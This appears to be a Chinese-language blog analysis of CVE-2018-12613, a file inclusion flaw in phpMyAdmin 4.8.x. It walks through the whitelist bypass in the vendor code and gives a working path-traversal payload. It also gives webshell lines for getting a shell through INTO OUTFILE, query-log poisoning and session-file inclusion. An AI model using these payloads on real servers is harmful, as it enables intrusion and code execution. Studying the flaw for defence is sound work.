cve-2018-12613-PhpMyadmin后台文件包含

2018年6月19日,phpmyadmin在最新版本修复了一个严重级别的漏洞.

https://www.phpmyadmin.net/security/PMASA-2018-4/

漏洞描述:

An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially 
execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded 
within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the 
"$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, 
and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login 
requirement and runs the vulnerable code without any authentication).

漏洞分析:

问题在index.php的55~63:

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

这里对于参数共有5个判断,判断通过就可以通过Include包含文件。
前面3个判断基本可以忽略,后两个:
$target_blacklist:

$target_blacklist = array (
    'import.php', 'export.php'
);

Core::checkPageValidity($_REQUEST['target']):
代码在libraries\classes\Core.php的443~476:

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

这里验证白名单:

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

之后phpMyAdmin的开发团队考虑到了target后面加参数的情况,通过字符串分割将问号的前面部分取出,继续匹配白名单,然后经过一遍urldecode后再重复动作。
所以这里我们可以选取白名单里的任意一个页面。
构造:

target=db_datadict.php%253f/../../../../../../../../etc/passwd

绕过所有的检查。
最后在include包含文件时,斜杠前面的部分包括问号会被当作文件名。
ps:如果是linux系统下,就更简单了,直接通过问号截断就行了。

getshell

1.可以利用把shell写进数据库来getshell。


image.png

找到对应的数据库文件:


image.png

image.png

但是默认情况下,linux数据库文件是没有读取权限的。

windows下倒是没限制。
ps:数据库路径可以根据全局参数里的信息来推断。

2.写入文件来getshell
要求secure_file_priv不是null,直接通过select "<?php phpinfo();?>" into outfile "xxxxxxxx",写入shell文件。

3.写入Log
普通log:
set global general_log=1
set global general_log_file="路径"

慢查询log:
set global slow_query_log 开启慢查询
set global slow_query_log_file='路径'
show global variables like '%long_query_time%'查看慢查询时间
select '<?php eval($_GET["cmd"]); ?>' or sleep(11); //默认慢查询时间为10秒

4.通过session达成命令执行
p牛在小蜜圈里介绍的一种方法(膜)。
先执行一个查询:

select  "<?php system('cd /&&ls')>"`

通过抓包得到phpmyadmin的session:

image.png

然后包含对应的session文件,命令执行。
image.png

如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的session字段。(没有权限)
而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。
window下的目录和中间件相关。
参考:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12613
https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF%2FjxV%2F9%2FcEb5pShRgewJe%2FttJn2gIlIyGF%2FbsgGmzcbsV%2BLmMK#rd

推荐阅读更多精彩内容